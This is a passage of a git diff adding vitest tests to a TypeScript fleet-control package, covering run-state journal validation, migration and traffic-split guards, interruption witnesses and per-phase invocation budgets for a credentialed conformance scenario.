+      await inspection.close();
+      await inspection.close();
+    }
+    const again = await inspectDirectRunState({ ...f.input, mode: 'inspect' });
+    await again.close();
+  });
+
+  it('inspects by content binding and directory, without imposing filename identity', async () => {
+    const f = await fixture();
+    await closed(await opened({ ...f.input, mode: 'run' }));
+    for (const overrides of [
+      { accountId: 'different' },
+      { prepared: { ...f.prepared, configSha256: 'e'.repeat(64) } },
+    ]) {
+      await expect(
+        inspectDirectRunState({ ...f.input, ...overrides, mode: 'inspect' }),
+      ).rejects.toMatchObject({ code: 'invalid-state' });
+    }
+    const alias = join(f.directory, 'alias.json');
+    await writeFile(alias, await readFile(f.configPath));
+    const inspection = await inspectDirectRunState({
+      ...f.input,
+      configPath: alias,
+      mode: 'inspect',
+    });
+    await inspection.close();
+    const other = join(f.directory, 'other');
+    await mkdir(other);
+    await writeFile(join(other, 'config.json'), await readFile(f.configPath));
+    await expect(
+      inspectDirectRunState({
+        ...f.input,
+        configPath: join(other, 'config.json'),
+        mode: 'inspect',
+      }),
+    ).rejects.toMatchObject({ code: 'run-missing' });
+    await writeFile(join(f.runDirectory, 'journal.json'), '{}');
+    await expect(
+      inspectDirectRunState({ ...f.input, mode: 'inspect' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('increments queued resumes without changing other fields', async () => {
+    const f = await fixture();
+    const journal = await opened({
+      ...f.input,
+      mode: 'run',
+      now: Date.parse('2026-09-13T00:00:00.000Z'),
+    });
+    const before = journal.snapshot();
+    expect(before.createdAt).toBe('2026-09-13T00:00:00.000Z');
+    await Promise.all([journal.recordResume(), journal.recordResume()]);
+    const { resumeCount, ...rest } = journal.snapshot();
+    expect(resumeCount).toBe(2);
+    expect(JSON.stringify(rest)).toBe(JSON.stringify(before));
+    await closed(journal);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(resumed.snapshot().resumeCount).toBe(2);
+    await resumed.recordResume();
+    expect(resumed.snapshot().resumeCount).toBe(3);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('saturates without writing and permits teardown reconciliation (pending=%s)', async (pending) => {
+    const { f, journal } = await completeScenarioJournal();
+    const state = teardownWith((value) => {
+      if (pending) value.pending = { kind: 'disable-reference-ingress' };
+    });
+    await journal.recordTeardown(state);
+    await journal.recordResume();
+    expect(journal.snapshot().teardown?.pending).toEqual(state.pending);
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const raw = JSON.parse(await readFile(path, 'utf8'));
+    raw.resumeCount = DIRECT_RUN_MAX_RESUME_COUNT;
+    await writeFile(path, `${JSON.stringify(raw)}\n`);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    const before = await readFile(path);
+    const snapshot = JSON.stringify(resumed.snapshot());
+    await resumed.recordResume();
+    expect(await readFile(path)).toEqual(before);
+    expect(JSON.stringify(resumed.snapshot())).toBe(snapshot);
+    expect(resumed.snapshot().resumeCount).toBe(DIRECT_RUN_MAX_RESUME_COUNT);
+    await resumed.recordTeardown(
+      teardownWith((value) => {
+        value.receipts.ingress = { ordinal: 1, settledByReread: true };
+      }),
+    );
+    expect(resumed.snapshot().teardown?.pending).toBeNull();
+    await closed(resumed);
+    await closed(await opened({ ...f.input, mode: 'resume' }));
+  });
+
+  it.each([
+    ['createdAt', '2026-09-13T00:00:00Z'],
+    ['createdAt', '2026-09-13T00:00:00.000+00:00'],
+    ['createdAt', '2026-02-30T00:00:00.000Z'],
+    ['createdAt', '2026-09-13T00:00:00.0000Z'],
+    ['createdAt', '2026-99-99T00:00:00.000Z'],
+    ['resumeCount', -1],
+    ['resumeCount', 0.5],
+    ['resumeCount', 1_000_000],
+  ])('refuses malformed metadata %s=%s', async (key, value) => {
+    const f = await fixture();
+    await closed(await opened({ ...f.input, mode: 'run' }));
+    const path = join(f.runDirectory, 'journal.json');
+    const raw = JSON.parse(await readFile(path, 'utf8'));
+    raw[key] = value;
+    await writeFile(path, JSON.stringify(raw));
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it.each([
+    ['2026-09-13T00:00:00.000Z', true],
+    ['2026-09-13T00:00:00Z', false],
+    ['2026-09-13T00:00:00.000+00:00', false],
+    ['2026-09-13T00:00:00.0000Z', false],
+  ] as const)('shares one 24-byte ISO-8601 pattern that accepts %s: %s', (value, accepted) => {
+    // The journal decoder and the CLI summary clock apply this one pattern.
+    expect(DIRECT_RUN_TIMESTAMP.test(value)).toBe(accepted);
+    expect(DIRECT_RUN_TIMESTAMP.flags).toBe('u');
+  });
+
+  it.each([
+    'createdAt',
+    'resumeCount',
+  ])('refuses version-1 journals carrying %s', async (key) => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const { binding, invocationCount, lastInvocation } = journal.snapshot();
+    await closed(journal);
+    await writeFile(
+      join(f.runDirectory, 'journal.json'),
+      JSON.stringify({
+        version: 1,
+        binding,
+        invocationCount,
+        lastInvocation,
+        [key]: key === 'createdAt' ? '2026-09-13T00:00:00.000Z' : 0,
+      }),
+    );
+    await expect(
+      openDirectRunState({ ...f.input, mode: 'resume' }),
+    ).rejects.toMatchObject({ code: 'invalid-state' });
+  });
+
+  it('re-emits older metadata-free journals identically and measures the bounded fields', async () => {
+    const f = await fixture();
+    const journal = await opened({ ...f.input, mode: 'run' });
+    const { createdAt: _createdAt, ...older } = journal.snapshot();
+    await closed(journal);
+    const path = join(f.runDirectory, 'journal.json');
+    const bytes = `${JSON.stringify(older)}\n`;
+    await writeFile(path, bytes);
+    const resumed = await opened({ ...f.input, mode: 'resume' });
+    expect(`${JSON.stringify(resumed.snapshot())}\n`).toBe(bytes);
+    expect(await readFile(path, 'utf8')).toBe(bytes);
+    const timeBytes = Buffer.byteLength(
+      '"createdAt":"2026-09-13T00:00:00.000Z",',
+    );
+    const countBytes = Buffer.byteLength(
+      `"resumeCount":${DIRECT_RUN_MAX_RESUME_COUNT},`,
+    );
+    process.stdout.write(
+      `CLI_METADATA_BYTES ${JSON.stringify({
+        timeBytes,
+        countBytes,
+        total: timeBytes + countBytes,
+      })}\n`,
+    );
+    expect([timeBytes, countBytes, timeBytes + countBytes]).toEqual([
+      39, 21, 60,
+    ]);
+  });
+});
diff --git a/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts
new file mode 100644
index 00000000..216d52d5
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-scenario-checks.test.ts
@@ -0,0 +1,1037 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash } from 'node:crypto';
+import { readFile } from 'node:fs/promises';
+import { describe, expect, it } from 'vitest';
+import type { DirectWorkerVersionObservation } from '../scripts/direct-credentialed-observations.mjs';
+import { DIRECT_SCENARIO_ARRAY_MAXIMA } from '../scripts/direct-credentialed-run-state.mjs';
+import {
+  DIRECT_SCENARIO_INVOCATION_BUDGET,
+  DIRECT_SCENARIO_MIN_INVOCATIONS,
+  DIRECT_SCENARIO_PHASES,
+} from '../scripts/direct-credentialed-scenario-budget.mjs';
+import {
+  changedBy,
+  checkFootprint,
+  checkInterruptedItems,
+  checkInterruptionWitness,
+  checkInvocationHeadroom,
+  checkItemConvergence,
+  checkTrafficDistribution,
+  type DirectScenarioFootprint,
+  type DirectScenarioInterruptedItem,
+  type DirectScenarioPhase,
+  equal,
+  expectedVersion,
+  hash,
+  jsonHash,
+  migrationInterruptSettled,
+  migrationStartSettled,
+  NORMAL_ROLES,
+  operationFacts,
+  parse,
+  phaseInvocationReserve,
+  recordFacts,
+  requireFact,
+  SCENARIO_ROLES,
+  zeroAttempts,
+} from '../scripts/direct-credentialed-scenario-checks.mjs';
+import { directCleanupReceiptDigest } from '../scripts/direct-reference-receipt.mjs';
+import type { CleanupTerminalReceipt } from '../src/types.js';
+
+function refusal(action: () => unknown): string {
+  try {
+    action();
+  } catch (error) {
+    return (error as { code?: string }).code ?? 'uncoded';
+  }
+  return 'accepted';
+}
+
+function cause(action: () => unknown): Readonly<{
+  code?: string;
+  detail?: string;
+}> {
+  try {
+    action();
+  } catch (error) {
+    const { code, detail } = error as { code?: string; detail?: string };
+    return { code, detail };
+  }
+  return { code: 'accepted' };
+}
+
+function observation(
+  versionId: string,
+  trafficPercentage: number,
+  versions: readonly { versionId: string; percentage: number }[],
+  activeVersionId = versionId,
+): DirectWorkerVersionObservation {
+  return {
+    role: 'a',
+    versionId,
+    databaseId: 'database',
+    specDigest: 'a'.repeat(64),
+    applicationRelease: '1',
+    accountId: 'account',
+    tenantTag: 'tenant',
+    environment: 'production',
+    scriptName: 'script',
+    currentDeployment: {
+      deploymentId: 'deployment',
+      activeVersionId,
+      versions,
+    },
+    trafficPercentage,
+    cpuLimitMs: 50,
+    subrequestLimit: 50,
+    schemaVersion: 2,
+    namespaces: [],
+    bucket: {
+      name: 'bucket',
+      jurisdiction: 'default',
+      creationDate: '2026-09-10T00:00:00.000Z',
+    },
+  };
+}
+
+const item = (ordinal: number, status: string, planCursor = 0) => ({
+  ordinal,
+  status,
+  planCursor,
+});
+
+describe('scenario fact helpers', () => {
+  it('reports the refusal code the caller supplied and defaults to an observation mismatch', () => {
+    expect(refusal(() => requireFact(true))).toBe('accepted');
+    expect(refusal(() => requireFact(false, 'proof-unavailable'))).toBe(
+      'proof-unavailable',
+    );
+    expect(refusal(() => requireFact(false))).toBe('observation-mismatch');
+    expect(refusal(() => equal({ a: 1 }, { a: 1 }))).toBe('accepted');
+    expect(refusal(() => equal({ a: 1 }, { a: 2 }))).toBe(
+      'observation-mismatch',
+    );
+    expect(refusal(() => parse(42))).toBe('observation-mismatch');
+    expect(parse('{"a":1}')).toEqual({ a: 1 });
+  });
+
+  it('derives digests and the zero attempt triple', () => {
+    expect(hash('value')).toBe(
+      createHash('sha256').update('value').digest('hex'),
+    );
+    expect(jsonHash({ a: 1 })).toBe(hash(JSON.stringify({ a: 1 })));
+    expect(zeroAttempts()).toEqual({
+      provider: 0,
+      maintenance: 0,
+      application: 0,
+    });
+    expect([...NORMAL_ROLES]).toEqual(['a', 'b']);
+    expect([...SCENARIO_ROLES]).toEqual(['a', 'b', 'recovery']);
+  });
+
+  it('projects operation anchors without the frozen input and records without undefined', () => {
+    expect(
+      operationFacts({
+        slot: 'migration-next',
+        operationId: 'operation',
+        inputJson: '{"records":[]}',
+        tokenRevision: 2,
+      }),
+    ).toEqual({
+      slot: 'migration-next',
+      operationId: 'operation',
+      inputSha256: hash('{"records":[]}'),
+      tokenRevision: 2,
+    });
+    expect(recordFacts({ role: 'a', present: false })).toEqual({
+      role: 'a',
+      present: false,
+      phase: null,
+      desiredSpecDigest: null,
+      pendingSpecDigest: null,
+      artifactVersion: null,
+      pendingArtifactVersion: null,
+      databaseId: null,
+    });
+  });
+
+  it('selects the pending artifact only for a candidate expectation and refuses an absent record', () => {
+    const record = {
+      role: 'a' as const,
+      present: true,
+      artifactVersion: 'current',
+      pendingArtifactVersion: 'next',
+      desiredSpecDigest: 'a'.repeat(64),
+      pendingSpecDigest: 'b'.repeat(64),
+      databaseId: 'database',
+    };
+    expect(expectedVersion(record, '1')).toEqual({
+      role: 'a',
+      versionId: 'current',
+      databaseId: 'database',
+      specDigest: 'a'.repeat(64),
+      applicationRelease: '1',
+    });
+    expect(expectedVersion(record, '2', true)).toEqual({
+      role: 'a',
+      versionId: 'next',
+      databaseId: 'database',
+      specDigest: 'b'.repeat(64),
+      applicationRelease: '2',
+    });
+    expect(
+      refusal(() => expectedVersion({ role: 'a', present: false }, '1')),
+    ).toBe('observation-mismatch');
+    expect(refusal(() => expectedVersion(null, '1'))).toBe(
+      'observation-mismatch',
+    );
+  });
+});
+
+describe('scenario migration guards', () => {
+  it('requires item a to complete before item b leaves pending', () => {
+    expect(
+      refusal(() =>
+        checkItemConvergence([item(0, 'active'), item(1, 'pending')]),
+      ),
+    ).toBe('accepted');
+    expect(
+      refusal(() =>
+        checkItemConvergence([item(0, 'complete'), item(1, 'active')]),
+      ),
+    ).toBe('accepted');
+    expect(
+      refusal(() =>
+        checkItemConvergence([item(0, 'active'), item(1, 'active')]),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkItemConvergence([item(0, 'pending'), item(1, 'complete')]),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkItemConvergence([item(0, 'complete')] as unknown as Parameters<
+          typeof checkItemConvergence
+        >[0]),
+      ),
+    ).toBe('observation-mismatch');
+  });
+
+  it('requires the candidate at zero percent beside the original at one hundred in one deployment', () => {
+    const previous = observation('old', 100, [
+      { versionId: 'old', percentage: 100 },
+    ]);
+    const candidate = observation(
+      'new',
+      0,
+      [
+        { versionId: 'old', percentage: 100 },
+        { versionId: 'new', percentage: 0 },
+      ],
+      'old',
+    );
+    expect(refusal(() => checkTrafficDistribution(candidate, previous))).toBe(
+      'accepted',
+    );
+    expect(
+      refusal(() =>
+        checkTrafficDistribution(
+          observation(
+            'new',
+            0,
+            [
+              { versionId: 'old', percentage: 100 },
+              { versionId: 'new', percentage: 0 },
+              { versionId: 'new', percentage: 0 },
+            ],
+            'old',
+          ),
+          previous,
+        ),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkTrafficDistribution(
+          observation(
+            'new',
+            0,
+            [
+              { versionId: 'old', percentage: 0 },
+              { versionId: 'new', percentage: 0 },
+            ],
+            'old',
+          ),
+          previous,
+        ),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkTrafficDistribution(
+          observation('new', 0, [{ versionId: 'new', percentage: 0 }], 'old'),
+          previous,
+        ),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkTrafficDistribution(
+          observation(
+            'new',
+            100,
+            [
+              { versionId: 'old', percentage: 100 },
+              { versionId: 'new', percentage: 0 },
+            ],
+            'old',
+          ),
+          previous,
+        ),
+      ),
+    ).toBe('observation-mismatch');
+    expect(
+      refusal(() =>
+        checkTrafficDistribution(
+          observation('old', 0, [{ versionId: 'old', percentage: 0 }], 'old'),
+          previous,
+        ),
+      ),
+    ).toBe('observation-mismatch');
+  });
+});
+
+describe('scenario one-shot mutation reconciliation', () => {
+  const started = {
+    slot: 'migration-next' as const,
+    operationId: 'operation',
+    inputJson: '{}',
+    tokenRevision: 1,
+  };
+  const startCall = {
+    ordinal: 9,
+    action: { kind: 'migration-start' } as const,
+    outcome: 'returned',
+  };
+
+  it('treats a present migration slot as the settled start so a resume issues no second start', () => {
+    expect(migrationStartSettled({ operations: [] }, startCall)).toBe(false);
+    expect(
+      migrationStartSettled(
+        {
+          operations: [
+            {
+              slot: 'inventory-before',
+              operationId: 'other',
+              inputJson: '{}',
+              tokenRevision: 0,
+            },
+          ],
+        },
+        startCall,
+      ),
+    ).toBe(false);
+    expect(migrationStartSettled({ operations: [started] }, startCall)).toBe(
+      true,
+    );
+  });
+
+  it('refuses a migration slot the recorded mutation does not account for', () => {
+    expect(
+      refusal(() =>
+        migrationStartSettled(
+          { operations: [{ ...started, operationId: null }] },
+          startCall,
+        ),
+      ),
+    ).toBe('proof-unavailable');
+    expect(
+      refusal(() => migrationStartSettled({ operations: [started] }, null)),
+    ).toBe('proof-unavailable');
+    expect(
+      refusal(() =>
+        migrationStartSettled(
+          { operations: [started] },
+          { ...startCall, outcome: 'reference-refused' },
+        ),
+      ),
+    ).toBe('proof-unavailable');
+    expect(
+      refusal(() =>
+        migrationStartSettled(
+          { operations: [started] },
+          { ...startCall, action: { kind: 'control-read' } },
+        ),
+      ),
+    ).toBe('proof-unavailable');
+  });
+
+  it('treats an existing interruption witness as the consumed injection so a resume issues no second continue', () => {
+    const loss = {
+      ordinal: 12,
+      action: { kind: 'migration-continue' } as const,
+      outcome: 'injected-response-loss',
+    };
+    expect(migrationInterruptSettled({ interruption: null }, loss)).toBe(false);
+    expect(
+      migrationInterruptSettled({ interruption: '{"version":1}' }, loss),
+    ).toBe(true);
+  });
+
+  it('refuses an interruption witness that the recorded mutation does not account for', () => {
+    expect(
+      refusal(() =>
+        migrationInterruptSettled({ interruption: '{"version":1}' }, null),
+      ),
+    ).toBe('proof-unavailable');
+    expect(
+      refusal(() =>
+        migrationInterruptSettled(
+          { interruption: '{"version":1}' },
+          {
+            ordinal: 12,
+            action: { kind: 'migration-continue' },
+            outcome: 'returned',
+          },
+        ),
+      ),
+    ).toBe('proof-unavailable');
+    expect(
+      refusal(() =>
+        migrationInterruptSettled(
+          { interruption: '{"version":1}' },
+          {
+            ordinal: 12,
+            action: { kind: 'control-read' },
+            outcome: 'injected-response-loss',
+          },
+        ),
+      ),
+    ).toBe('proof-unavailable');
+  });
+});
+
+describe('scenario reconciliation allowance', () => {
+  it('maps each action family to the slot and roles it may change', () => {
+    expect(changedBy(null)).toEqual({ slots: [], roles: [] });
+    expect(changedBy({ kind: 'audit-start', slot: 'audit-before' })).toEqual({
+      slots: ['audit-before'],
+      roles: [],
+    });
+    expect(
+      changedBy({ kind: 'audit-page', slot: 'audit-after', limit: 32 }),
+    ).toEqual({ slots: ['audit-after'], roles: [] });
+    expect(
+      changedBy({ kind: 'provision', role: 'a', release: 'initial' }),
+    ).toEqual({ slots: ['cleanup-a'], roles: ['a'] });
+    expect(
+      changedBy({ kind: 'provision', role: 'recovery', release: 'initial' }),
+    ).toEqual({ slots: ['cleanup-recovery-initial'], roles: ['recovery'] });
+    expect(
+      changedBy({
+        kind: 'provision',
+        role: 'recovery',
+        release: 'failed-recovery',
+      }),
+    ).toEqual({ slots: ['cleanup-recovery'], roles: ['recovery'] });
+    expect(
+      changedBy({ kind: 'inventory-start', slot: 'inventory-before' }),
+    ).toEqual({ slots: ['inventory-before'], roles: [] });
+    expect(changedBy({ kind: 'migration-continue' })).toEqual({
+      slots: ['migration-next'],
+      roles: ['a', 'b'],
+    });
+    expect(changedBy({ kind: 'cleanup-continue', role: 'recovery' })).toEqual({
+      slots: ['cleanup-recovery'],
+      roles: ['recovery'],
+    });
+    expect(changedBy({ kind: 'decommission-start', role: 'b' })).toEqual({
+      slots: ['decommission-b'],
+      roles: ['b'],
+    });
+    expect(changedBy({ kind: 'force-recovery' })).toEqual({
+      slots: [],
+      roles: ['recovery'],
+    });
+    expect(changedBy({ kind: 'recover-force-residual' })).toEqual({
+      slots: [],
+      roles: ['recovery'],
+    });
+    expect(
+      changedBy({ kind: 'tenant-probe', role: 'a', operation: 'object-put' }),
+    ).toEqual({ slots: [], roles: [] });
+    expect(changedBy({ kind: 'force-terminal', role: 'a' })).toEqual({
+      slots: [],
+      roles: ['a'],
+    });
+    expect(changedBy({ kind: 'control-read' })).toEqual({
+      slots: [],
+      roles: [],
+    });
+  });
+});
+
+const DECLARED_PHASES = [
+  'provision-a',
+  'provision-b',
+  'inventory-before',
+  'audit-before',
+  'fence-drain',
+  'migration-start',
+  'migration-interrupt',
+  'migration-restart',
+  'migration',
+  'post-migration',
+  'fence-reopen',
+  'fence-proofs',
+  'inventory-after',
+  'audit-after',
+  'failed-recovery',
+  'cleanup-recovery',
+  'provision-recovery',
+  'delete-objects',
+  'decommission-a',
+  'decommission-b',
+  'force-terminal-a',
+  'force-recovery',
+  'force-observe',
+  'recover-force-residual',
+  'complete',
+] as const;
+
+describe('scenario invocation budget', () => {
+  const zeroCalls = () =>
+    Object.fromEntries(
+      DIRECT_SCENARIO_PHASES.map((phase) => [phase, 0]),
+    ) as Record<DirectScenarioPhase, number>;
+  const unknownPhase = 'not-a-phase' as DirectScenarioPhase;
+  const reserveTotal = () =>
+    Object.values(DIRECT_SCENARIO_INVOCATION_BUDGET).reduce(
+      (sum, entry) => sum + entry.reserve,
+      0,
+    );
+
+  it('derives the phase list from the budget table and keeps both columns on the rule', () => {
+    expect(Object.keys(DIRECT_SCENARIO_INVOCATION_BUDGET)).toEqual([
+      ...DIRECT_SCENARIO_PHASES,
+    ]);
+    for (const [phase, entry] of Object.entries(
+      DIRECT_SCENARIO_INVOCATION_BUDGET,
+    )) {
+      expect({ phase, ...entry }).toEqual({
+        phase,
+        measured: entry.measured,
+        ceiling: Math.max(16, Math.ceil((entry.measured * 2) / 8) * 8),
+        reserve: Math.max(4, Math.ceil((entry.measured * 1.25) / 4) * 4),
+      });
+      expect(entry.ceiling - entry.measured).toBeGreaterThanOrEqual(8);
+    }
+  });
+
+  it('reserves the reserve of every phase from the current one onward', () => {
+    expect(phaseInvocationReserve('provision-a')).toBe(reserveTotal());
+    expect(phaseInvocationReserve('complete')).toBe(
+      DIRECT_SCENARIO_INVOCATION_BUDGET.complete.reserve,
+    );
+    expect(phaseInvocationReserve('force-observe')).toBe(
+      DIRECT_SCENARIO_INVOCATION_BUDGET['force-observe'].reserve +
+        DIRECT_SCENARIO_INVOCATION_BUDGET['recover-force-residual'].reserve +
+        DIRECT_SCENARIO_INVOCATION_BUDGET.complete.reserve,
+    );
+    expect(refusal(() => phaseInvocationReserve(unknownPhase))).toBe(
+      'invalid-input',
+    );
+  });
+
+  it('separates a spent phase ceiling from a run that cannot cover the phases left', () => {
+    const calls = zeroCalls();
+    const total = phaseInvocationReserve('provision-a');
+    expect(
+      refusal(() => checkInvocationHeadroom('provision-a', calls, total)),
+    ).toBe('accepted');
+    expect(
+      cause(() => checkInvocationHeadroom('provision-a', calls, total - 1)),
+    ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' });
+    expect(
+      refusal(() => checkInvocationHeadroom('provision-a', calls, 0)),
+    ).toBe('invocation-budget-exhausted');
+    const spent = {
+      ...calls,
+      'provision-a': DIRECT_SCENARIO_INVOCATION_BUDGET['provision-a'].ceiling,
+    };
+    expect(
+      cause(() => checkInvocationHeadroom('provision-a', spent, total)),
+    ).toEqual({ code: 'budget-exhausted', detail: 'phase-ceiling' });
+    expect(
+      refusal(() =>
+        checkInvocationHeadroom(
+          'provision-a',
+          { ...calls, 'provision-a': 1 },
+          total - 1,
+        ),
+      ),
+    ).toBe('accepted');
+    expect(
+      refusal(() => checkInvocationHeadroom(unknownPhase, calls, total)),
+    ).toBe('invalid-input');
+  });
+
+  it('orders the phases the journal proof rules and resume check index by', () => {
+    const declared: readonly DirectScenarioPhase[] = DECLARED_PHASES;
+    const runtime: readonly (typeof DECLARED_PHASES)[number][] =
+      DIRECT_SCENARIO_PHASES;
+    expect([...runtime]).toEqual([...declared]);
+    expect(new Set(DECLARED_PHASES).size).toBe(DECLARED_PHASES.length);
+    expect(DIRECT_SCENARIO_PHASES.at(-1)).toBe('complete');
+    const ordered = (
+      earlier: DirectScenarioPhase,
+      later: DirectScenarioPhase,
+    ) =>
+      DIRECT_SCENARIO_PHASES.indexOf(earlier) <
+      DIRECT_SCENARIO_PHASES.indexOf(later);
+    for (const [producer, consumer] of [
+      ['provision-a', 'migration'],
+      ['provision-b', 'migration'],
+      ['migration', 'post-migration'],
+      ['post-migration', 'delete-objects'],
+      ['delete-objects', 'decommission-a'],
+      ['delete-objects', 'decommission-b'],
+      ['inventory-before', 'audit-before'],
+      ['audit-before', 'fence-drain'],
+      ['fence-drain', 'migration-start'],
+      ['post-migration', 'fence-reopen'],
+      ['fence-reopen', 'fence-proofs'],
+      ['fence-proofs', 'inventory-after'],
+      ['inventory-after', 'audit-after'],
+      ['migration-interrupt', 'migration-restart'],
+      ['cleanup-recovery', 'provision-recovery'],
+      ['decommission-b', 'force-terminal-a'],
+      ['force-terminal-a', 'force-recovery'],
+      ['force-recovery', 'force-observe'],
+      ['force-observe', 'recover-force-residual'],
+    ] as const)
+      expect({
+        producer,
+        consumer,
+        ordered: ordered(producer, consumer),
+      }).toEqual({ producer, consumer, ordered: true });
+  });
+
+  it('holds back the later-phase reserve once a phase spends past its own', () => {
+    const calls = zeroCalls();
+    const observe = DIRECT_SCENARIO_INVOCATION_BUDGET['force-observe'];
+    expect({ reserve: observe.reserve, ceiling: observe.ceiling }).toEqual({
+      reserve: 4,
+      ceiling: 16,
+    });
+    expect(phaseInvocationReserve('force-observe')).toBe(12);
+    expect(phaseInvocationReserve('recover-force-residual')).toBe(8);
+    for (const [spent, minimum] of [
+      [0, 12],
+      [4, 8],
+      [11, 8],
+      [15, 8],
+    ] as const) {
+      const phaseCalls = { ...calls, 'force-observe': spent };
+      expect(
+        refusal(() =>
+          checkInvocationHeadroom('force-observe', phaseCalls, minimum),
+        ),
+      ).toBe('accepted');
+      expect(
+        cause(() =>
+          checkInvocationHeadroom('force-observe', phaseCalls, minimum - 1),
+        ),
+      ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' });
+    }
+    const migration = DIRECT_SCENARIO_INVOCATION_BUDGET.migration;
+    expect({ reserve: migration.reserve, ceiling: migration.ceiling }).toEqual({
+      reserve: 132,
+      ceiling: 216,
+    });
+    expect(phaseInvocationReserve('migration')).toBe(516);
+    const overspent = { ...calls, migration: 200 };
+    expect(
+      refusal(() => checkInvocationHeadroom('migration', overspent, 384)),
+    ).toBe('accepted');
+    expect(
+      cause(() => checkInvocationHeadroom('migration', overspent, 383)),
+    ).toEqual({ code: 'budget-exhausted', detail: 'run-reserve' });
+  });
+
+  it('refuses a phase call map without a usable count for the phase', () => {
+    const total = phaseInvocationReserve('provision-a');
+    const absent = {} as Record<DirectScenarioPhase, number>;
+    expect(
+      refusal(() => checkInvocationHeadroom('provision-a', absent, total)),
+    ).toBe('invalid-input');
+    expect(
+      refusal(() =>
+        checkInvocationHeadroom(
+          'provision-a',
+          null as unknown as Record<DirectScenarioPhase, number>,
+          total,
+        ),
+      ),
+    ).toBe('invalid-input');
+    for (const value of [-1, 1.5, Number.MAX_SAFE_INTEGER + 1])
+      expect(
+        refusal(() =>
+          checkInvocationHeadroom(
+            'provision-a',
+            { ...zeroCalls(), 'provision-a': value },
+            total,
+          ),
+        ),
+      ).toBe('invalid-input');
+  });
+
+  it('refuses an inherited phase key and a remaining count that is not a nonnegative safe integer', () => {
+    const calls = zeroCalls();
+    const total = phaseInvocationReserve('provision-a');
+    // A count of its own for the inherited key, so the budget's own-property
+    // check is what refuses it rather than the count being a prototype member.
+    expect(
+      refusal(() =>
+        checkInvocationHeadroom(
+          'constructor' as DirectScenarioPhase,
+          { ...zeroCalls(), constructor: 0 } as unknown as Record<
+            DirectScenarioPhase,
+            number
+          >,
+          total,
+        ),
+      ),
+    ).toBe('invalid-input');
+    for (const remaining of [
+      1.5,
+      Number.MAX_SAFE_INTEGER + 1,
+      -1,
+      Number.NaN,
+      '4' as unknown as number,
+    ])
+      expect(
+        refusal(() => checkInvocationHeadroom('provision-a', calls, remaining)),
+      ).toBe('invalid-input');
+  });
+
+  it('declares the invocation floor the shipped configuration clears', async () => {
+    const config = JSON.parse(
+      await readFile(
+        new URL(
+          '../scripts/direct-credentialed-conformance.example.json',
+          import.meta.url,
+        ),
+        'utf8',
+      ),
+    ) as { referenceWorker: { maxInvocations: number } };
+    expect(DIRECT_SCENARIO_MIN_INVOCATIONS).toBe(reserveTotal() + 1 + 8);
+    expect(config.referenceWorker.maxInvocations).toBeGreaterThanOrEqual(
+      DIRECT_SCENARIO_MIN_INVOCATIONS,
+    );
+  });
+});
+
+describe('scenario interruption witness', () => {
+  const OPERATION = 'migration-operation';
+  const ENTRY_DIGEST = 'e'.repeat(64);
+  const TARGET_DIGEST = 'f'.repeat(64);
+  const expected = {
+    operationId: OPERATION,
+    tenantTag: 'tenant',
+    environment: 'production',
+  };
+  const value = () => ({
+    version: 1,
+    boundary: 'after-migration-admission',
+    slot: 'migration-next',
+    operationId: OPERATION,
+    claimJson: JSON.stringify({ operationId: OPERATION, revision: 1 }),
+    returnedTokenJson: JSON.stringify({ operationId: OPERATION, revision: 2 }),
+    item: {
+      ordinal: 0,
+      beforeStatus: 'pending',
+      afterStatus: 'active',
+      planCursor: 0,
+      tenantTag: 'tenant',
+      environment: 'production',
+      entryRecordDigest: ENTRY_DIGEST,
+      targetSpecDigest: TARGET_DIGEST,
+    },
+  });
+  const serialized = (mutate: (current: ReturnType<typeof value>) => void) => {
+    const current = value();
+    mutate(current);
+    return JSON.stringify(current);
+  };
+
+  it('reads the claim and the successor the boundary recorded', () => {
+    const result = checkInterruptionWitness(JSON.stringify(value()), expected);
+    expect(result.value).toEqual(value());
+    expect(result.claim).toEqual({ operationId: OPERATION, revision: 1 });
+    expect(result.successor).toEqual({ operationId: OPERATION, revision: 2 });
+  });
+
+  it('refuses a witness the recorded operation and item do not account for', () => {
+    expect(refusal(() => checkInterruptionWitness(42, expected))).toBe(
+      'observation-mismatch',
+    );
+    for (const mutate of [
+      (current) => {
+        current.version = 2;
+      },
+      (current) => {
+        current.boundary = 'before-migration-admission';
+      },
+      (current) => {
+        current.slot = 'inventory-before';
+      },
+      (current) => {
+        current.operationId = 'other-operation';
+      },
+      (current) => {
+        current.claimJson = JSON.stringify({
+          operationId: 'other-operation',
+          revision: 1,
+        });
+      },
+      (current) => {
+        current.returnedTokenJson = JSON.stringify({
+          operationId: OPERATION,
+          revision: 1,
+        });
+      },
+      (current) => {
+        current.returnedTokenJson = JSON.stringify({
+          operationId: 'other-operation',
+          revision: 2,
+        });
+      },
+      (current) => {
+        current.item.ordinal = 1;
+      },
+      (current) => {
+        current.item.beforeStatus = 'active';
+      },
+      (current) => {
+        current.item.afterStatus = 'pending';
+      },
+      (current) => {
+        current.item.planCursor = 1;
+      },
+      (current) => {
+        current.item.tenantTag = 'other-tenant';
+      },
+      (current) => {
+        current.item.environment = 'staging';
+      },
+    ] satisfies ((current: ReturnType<typeof value>) => void)[])
+      expect(
+        refusal(() => checkInterruptionWitness(serialized(mutate), expected)),
+      ).toBe('observation-mismatch');
+  });
+
+  it('requires the interrupted item active at its recorded cursor beside a pending successor', () => {
